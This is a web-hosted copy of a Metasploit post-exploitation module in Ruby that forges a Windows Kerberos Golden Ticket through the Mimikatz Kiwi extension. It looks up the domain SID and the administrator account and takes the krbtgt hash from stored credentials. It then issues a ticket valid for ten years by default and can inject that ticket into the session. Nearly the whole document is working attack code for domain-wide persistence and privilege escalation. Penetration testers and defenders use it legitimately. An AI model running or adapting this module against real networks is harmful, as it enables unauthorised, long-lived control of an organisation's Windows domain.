CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/golden_ticket.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::NetAPI
8
include Msf::Post::Windows::Accounts
9
include Msf::Post::Windows::Kiwi
10
include Msf::Post::Windows::Error
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Escalate Golden Ticket',
17
'Description' => %q{
18
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
19
options are applied it will attempt to identify the current domain, the domain administrator
20
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
21
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Ben Campbell'
26
],
27
'Platform' => [ 'win' ],
28
'SessionTypes' => [ 'meterpreter' ],
29
'References' => [
30
['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos']
31
],
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
kiwi_exec_cmd
36
stdapi_railgun_api
37
]
38
}
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
46
OptString.new('USER', [false, 'Target User']),
47
OptString.new('DOMAIN', [false, 'Target Domain']),
48
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NT Hash']),
49
OptString.new('Domain SID', [false, 'Domain SID']),
50
OptInt.new('ID', [false, 'Target User ID']),
51
OptString.new('GROUPS', [false, 'ID of Groups (Comma Separated)']),
52
OptInt.new('END_IN', [true, 'End in ... Duration in hours, default 10 YEARS (~87608 hours)', 87608])
53
]
54
)
55
end
56
57
def run
58
return unless load_kiwi
59
60
user = datastore['USER']
61
domain = datastore['DOMAIN']
62
krbtgt_hash = datastore['KRBTGT_HASH']
63
domain_sid = datastore['SID']
64
id = datastore['ID'] || 0
65
end_in = datastore['END_IN'] || 87608
66
67
unless domain
68
print_status('Searching for the domain...')
69
domain = get_domain
70
if domain
71
print_good("Targeting #{domain}")
72
else
73
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
74
end
75
end
76
77
unless krbtgt_hash
78
if framework.db.active
79
print_status('Searching for krbtgt hash in database...')
80
krbtgt_hash = lookup_krbtgt_hash(domain)
81
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
82
else
83
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
84
end
85
end
86
87
unless domain_sid
88
print_status("Obtaining #{domain} SID...")
89
domain_sid = lookup_domain_sid(domain)
90
91
if domain_sid
92
print_good("Found #{domain} SID: #{domain_sid}")
93
else
94
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
95
end
96
end
97
98
unless user
99
if id && id != 0
100
print_status("Looking up User ID: #{id}")
101
user = resolve_sid("#{domain_sid}-#{id}")[:name]
102
else
103
print_status('Looking up Domain Administrator account...')
104
user = resolve_sid("#{domain_sid}-500")[:name]
105
end
106
107
if user
108
print_good("Found User: #{user}")
109
else
110
fail_with(Failure::Unknown, 'Unable to find User')
111
end
112
end
113
114
# Golden Ticket requires an NTHash
115
if Metasploit::Framework::Hashes.identify_hash(krbtgt_hash) != 'nt'
116
fail_with(Failure::BadConfig, 'KRBTGT_HASH must be an NTHash')
117
end
118
nt_hash = krbtgt_hash.split(':')[1]
119
120
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
121
ticket = client.kiwi.golden_ticket_create({
122
user: user,
123
domain_name: domain,
124
domain_sid: domain_sid,
125
krbtgt_hash: nt_hash,
126
id: id,
127
group_ids: datastore['GROUPS'],
128
end_in: end_in
129
})
130
131
if ticket
132
print_good('Golden Ticket Obtained!')
133
kirbi_ticket = Base64.decode64(ticket)
134
kirbi_location = store_loot('golden_ticket',
135
'kirbi',
136
session,
137
kirbi_ticket,
138
"#{domain}\\#{user}-golden_ticket.kirbi",
139
"#{domain}\\#{user} Golden Ticket")
140
print_status("Kirbi ticket saved to #{kirbi_location}")
141
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(kirbi_ticket)
142
143
ccache_ticket = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
144
ccache_location = store_loot('golden_ticket',
145
'ccache',
146
session,
147
ccache_ticket.to_binary_s,
148
"#{domain}\\#{user}-golden_ticket.ccache",
149
"#{domain}\\#{user} Golden Ticket")
150
print_status("ccache ticket saved to #{ccache_location}")
151
152
if datastore['USE']
153
print_status('Attempting to use the ticket...')
154
client.kiwi.kerberos_ticket_use(ticket)
155
print_good('Kerberos ticket applied successfully')
156
end
157
else
158
fail_with(Failure::Unknown, 'Unable to create ticket')
159
end
160
end
161
162
def lookup_domain_sid(domain)
163
string_sid = nil
164
165
cb_sid = sid_buffer = 100
166
cch_referenced_domain_name = referenced_domain_name_buffer = 100
167
168
res = client.railgun.advapi32.LookupAccountNameA(
169
nil,
170
domain,
171
sid_buffer,
172
cb_sid,
173
referenced_domain_name_buffer,
174
cch_referenced_domain_name,
175
1
176
)
177
178
if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER
179
sid_buffer = cb_sid = res['cbSid']
180
referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']
181
182
res = client.railgun.advapi32.LookupAccountNameA(
183
nil,
184
domain,
185
sid_buffer,
186
cb_sid,
187
referenced_domain_name_buffer,
188
cch_referenced_domain_name,
189
1
190
)
191
elsif !res['return']
192
return nil
193
end
194
195
if res['return']
196
sub_authority_count = res['Sid'].unpack('CC')[1]
197
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
198
199
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
200
else
201
print_error("Error looking up SID: #{res['ErrorMessage']}")
202
end
203
204
string_sid
205
end
206
207
def lookup_krbtgt_hash(domain)
208
krbtgt_hash = nil
209
210
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
211
metasploit_credential_publics: { username: 'krbtgt' },
212
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
213
workspace_id: myworkspace_id
214
)
215
216
if krbtgt_creds
217
218
if krbtgt_creds.count == 0
219
print_error('No KRBTGT Hashes found in database')
220
elsif krbtgt_creds.count > 1
221
222
# Can we reduce the list by domain...
223
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
224
225
# We have found a krbtgt hashes in our target domain
226
if krbtgt_creds_realm.length == 1
227
cred = krbtgt_creds_realm.first
228
krbtgt_hash = cred.private.data.split(':')[1]
229
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
230
return krbtgt_hash
231
# We have found multiple krbtgt hashes in our target domain?!
232
elsif !krbtgt_creds_realm.empty?
233
krbtgt_creds = krbtgt_creds_realm
234
end
235
236
# Multiple hashes found, the user will have to manually set one...
237
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
238
krbtgt_creds.each do |kc|
239
hash = kc.private.data.split(':')[1]
240
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
241
end
242
else
243
# Highlander, there can only be one!
244
cred = krbtgt_creds.first
245
krbtgt_hash = cred.private.data.split(':')[1]
246
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
247
end
248
end
249
250
krbtgt_hash
251
end
252
end
253
254